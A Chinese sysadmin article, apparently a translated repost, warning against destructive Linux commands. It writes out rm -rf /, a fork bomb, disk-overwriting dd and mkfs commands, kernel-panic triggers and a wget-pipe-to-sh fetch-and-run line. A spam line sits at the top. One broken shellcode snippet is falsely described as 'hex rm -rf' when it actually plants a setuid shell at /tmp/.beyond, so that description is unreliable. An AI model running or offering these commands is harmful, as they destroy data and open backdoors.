自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

絕不要使用的Linux命令!

系統(tǒng) Linux
下列是是一些著名的命令,任何擁有 root 權限的用戶都能借助它們對服務器造成嚴重破壞。千萬不要在生產環(huán)境運行這些命令,它們會危害你的系統(tǒng)。不要在家里嘗試,也不要在辦公室里測試。

 [[216304]]

當然,除非你想干掉你的機器。

蜘蛛俠有這樣的一句信條,“權力越大,責任越大。” 對于 Linux 系統(tǒng)管理員們來說,這也是一種應當采用的明智態(tài)度。

不,真的,真心感謝 DevOps 的溝通協(xié)作和云編排技術,讓一個 Linux 管理員不僅能掌控一臺服務器,甚者能控制成千上萬臺服務器實例。只需要一個愚蠢的舉動,你甚至可以毀掉一個價值數(shù)十億美元的企業(yè),就像 沒有打補丁的 Apache Struts 一樣。

如果不能跑在安全補丁之前,這將會帶來一個遠超過系統(tǒng)管理員工資水平的戰(zhàn)略性業(yè)務問題。這里就有一些足以搞死 Linux 服務器的簡單方式掌握在系統(tǒng)管理員手中。很容易想象到,只有新手才會犯這些錯誤,但是,我們需要了解的更多。

下列是一些著名的命令,任何擁有 root 權限的用戶都能借助它們對服務器造成嚴重破壞。

警告:千萬不要在生產環(huán)境運行這些命令,它們會危害你的系統(tǒng)。不要在家里嘗試,也不要在辦公室里測試。

那么,繼續(xù)!

 

rm -rf /

想要干脆利落的毀掉一個 Linux 系統(tǒng)嗎?你無法超越這個被譽為“史上最糟糕”的經典,它能刪除一切,我說的是,能刪除所有存在你系統(tǒng)里的內容!

和大多數(shù) Linux 命令一樣,rm 這個核心命令使用起來非常方便。即便是最頑固的文件它也能幫你刪除。結合起后面兩個參數(shù)理解 rm 指令時,你很容易陷入大麻煩:-r,強制遞歸刪除所有子目錄,-f,無需確認,強制刪除所有只讀文件。如果你在根目錄運行這條指令,將清除整個驅動器上的所有數(shù)據(jù)。

如果你真這么干了,想想該怎么和老板解釋吧!

現(xiàn)在,也許你會想,“我永遠不會犯這么愚蠢的錯誤。”朋友,驕兵必敗。吸取一下經驗教訓吧, 這個警示故事來自于一個系統(tǒng)管理員在 Reddit 上的帖子

我在 IT 界工作了很多年,但是今天,作為 Linux 系統(tǒng) root 用戶,我在錯誤的系統(tǒng)路徑運行了 rm- f

長話短說,那天,我需要復制一大堆目錄從一個目錄到另一個目錄,和你一樣,我敲了幾個 cp -R 去復制我需要的內容。

以我的聰明勁,我持續(xù)敲著上箭頭,在命令記錄中尋找可以復制使用的類似命令名,但是它們混雜在一大堆其他命令當中。

不管怎么說,我一邊在 Skype、Slack 和 WhatsApp 的網頁上打字,一邊又和 Sage 通電話,注意力嚴重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 這樣一條命令時神游物外。

然后,當文件化為烏有時其中也包括了公司的視頻。幸運的是,在瘋狂敲擊 control -C 后,在刪除太多文件之前,系統(tǒng)管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。

事實上,絕大部分現(xiàn)代操作系統(tǒng)都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續(xù)敲擊鍵盤時忙碌或是分心,你將會把你的系統(tǒng)鍵入一個黑洞。(LCTT 譯注:幸運的是,可能在根目錄下刪除整個文件系統(tǒng)的人太多了額,后來 rm 默認禁止刪除根目錄,除非——你手動加上 --no-preserve-root 參數(shù)!)

這里有一些更為隱蔽的方式調用 rm -rf。思考一下下面的代碼:

  1. char esp[] __attribute__ ((section(“.text”))) = \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
  2. \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
  3. \xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
  4. \x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
  5. \x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
  6. \xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
  7. \x6e\x2f\x73\x68\x00\x2d\x63\x00
  8. cp -p /bin/sh /tmp/.beyond; chmod 4755
  9. /tmp/.beyond;”;

這是什么?這是 16 進制的 rm -rf 寫法。在你不明確這段代碼之前,請千萬不要運行這條命令!

 

fork 炸彈

既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:

  1. :(){ :|: & };:

對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的 Bash fork 炸彈。它會反復啟動新的 Bash shell,直到你的系統(tǒng)資源消耗殆盡、系統(tǒng)崩潰。

不應該在最新的 Linux 系統(tǒng)上做這些操作。注意,我說的是不應該。我沒有說不能。正確設置用戶權限,Linux 系統(tǒng)能夠阻止這些破壞性行為。通常用戶僅限于分配使用機器可用內存。但是如果作為 root 用戶的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反復虐待服務器,直到系統(tǒng)重啟了。

 

垃圾數(shù)據(jù)重寫硬盤

有時候你想徹底清除硬盤的數(shù)據(jù),你應該使用 Darik's Boot and Nuke (DBAN) 工具去完成這項工作。

但是如果僅僅想讓你的存儲器亂套,那很簡單:

  1. 任意命令 > /dev/hda

我說的“任意命令”,是指有輸出的任意命令,比如:

  1. ls -la > /dev/hda

……將目錄列表通過管道送到你的主存儲設備。給我 root 權限和足夠的時間,就能覆蓋整個硬盤設備。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成 職業(yè)禁入方式。

 

擦除硬盤!

另一個一直受歡迎的擦除硬盤的方式是執(zhí)行:

  1. dd if=/dev/zero of=/dev/hda

你可以用這條命令寫入數(shù)據(jù)到你的硬盤設備。dd 命令可以從特殊文件中獲取無盡個 0 字符,并且將它全部寫入你的設備。

可能現(xiàn)在聽起來 /dev/zero 是個愚蠢的想法,但是它真的管用。比如說,你可以使用它來 用零清除未使用的分區(qū)空間。它能使分區(qū)的鏡像壓縮到更小,以便于數(shù)據(jù)傳輸或是存檔使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毀掉你的一天之外,不是一個好事。如果你運行了這個指令(千萬不要),你的存儲器會被隨機數(shù)據(jù)覆蓋。作為一個隱藏你要接管辦公室咖啡機的秘密計劃的半吊子方法,倒是不錯,但是你可以使用 DBAN 工具去更好的完成你的任務。

 

/dev/null 的損失

也許因為數(shù)據(jù)珍貴,我們對備份的數(shù)據(jù)沒有什么信心,確實很多“永遠不要這樣做!”的命令都會導致硬盤或其它存儲倉庫的數(shù)據(jù)被擦除。一個鮮明的實例:另一個毀滅你的存儲設備的方式,運行 mv / /dev/null 或者 >mv /dev/null。

在前一種情況下,你作為 root 用戶,把整個磁盤數(shù)據(jù)都送進這個如饑似渴的 /dev/null。在后者,你僅僅把家目錄喂給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的數(shù)據(jù)了。

見鬼,難道會計真的不需要最新的應收賬款文件了嗎?

 

格式化錯了驅動器

有時候你需要使用這一條命令格式化驅動器:

  1. mkfs.ext3 /dev/hda

……它會用 ext3 文件系統(tǒng)格式化主硬盤驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不需要用它?

當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分區(qū)是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、閃存盤還是其他氧化鐵磁盤。

 

內核崩潰

一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導致內核崩潰。這些錯誤通常是由硬件問題引起的,但你也可以自己搞崩。

當你遭遇內核崩潰,重新啟動系統(tǒng)你才可以恢復工作。在一些情況下,這只是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產環(huán)境。下面有一個案例:

  1. dd if=/dev/random of=/dev/port
  2. echo 1 > /proc/sys/kernel/panic
  3. cat /dev/port
  4. cat /dev/zero > /dev/mem

這些都會導致內核崩潰。

絕不要運行你并不了解它功能的命令,它們都在提醒我…

 

提防未知腳本

年輕或是懶惰的系統(tǒng)管理員喜歡復制別人的腳本。何必重新重復造輪子?所以,他們找到了一個很酷的腳本,承諾會自動檢查所有備份。他們就這樣運行它:

  1. wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

這會下載該腳本,并將它送到 shell 上運行。很明確,別大驚小怪,對吧?不對。這個腳本也許已經被惡意軟件感染。當然,一般來說 Linux 比大多數(shù)操作系統(tǒng)都要安全,但是如果你以 root 用戶運行未知代碼,什么都可能會發(fā)生。這種危害不僅在惡意軟件上,腳本作者的愚蠢本身同樣有害。你甚至可能會因為一個未調試的代碼吃上一塹——由于你沒有花時間去讀它。

你認為你不會干那樣的事?告訴我,所有那些 你在 Docker 里面運行的容器鏡像在干什么?你知道它們到底在運行著什么嗎?我見過太多的沒有驗證容器里面裝著什么就運行它們的系統(tǒng)管理員。請不要和他們一樣。

 

結束

這些故事背后的道理很簡單。在你的 Linux 系統(tǒng)里,你有巨大的控制權。你幾乎可以讓你的服務器做任何事。但是在你使用你的權限的同時,請務必做認真的確認。如果你沒有,你毀滅的不只是你的服務器,而是你的工作甚至是你的公司。像蜘蛛俠一樣,負責任的使用你的權限。

我有沒有遺漏什么?在 @sjvn@enterprisenxt 上告訴我哪些 Linux 命令在你的“絕不要運行!”的清單上。 

責任編輯:龐桂玉 來源: Linux中國
相關推薦

2012-03-16 14:23:00

框架

2012-03-16 14:23:00

框架

2023-10-06 12:04:41

ORM關系型數(shù)據(jù)庫

2022-03-14 10:24:31

編程語言開發(fā)

2024-02-20 22:13:49

SQL語句編程

2016-12-07 08:21:28

HTMLCSSJS

2009-09-11 08:39:33

2022-12-06 08:26:16

SpringAOPthis調用方法

2020-04-30 09:24:46

Go項目語言

2022-05-30 16:39:22

TailsLinuxLinux 發(fā)行版

2019-09-27 15:40:04

云計算數(shù)據(jù)庫DBaaS

2019-10-09 08:53:47

數(shù)據(jù)庫即服務DBaaS云計算

2022-12-15 16:13:19

Windows11微軟

2012-03-14 14:25:57

2017-05-24 11:44:17

Linux命令

2019-04-03 14:03:58

Linux命令運行

2021-12-22 10:25:13

locateLinuxplocate

2010-12-07 10:38:01

2024-01-03 08:15:35

Executors線程池線程

2021-12-24 17:01:29

Linux工具系統(tǒng)
點贊
收藏

51CTO技術棧公眾號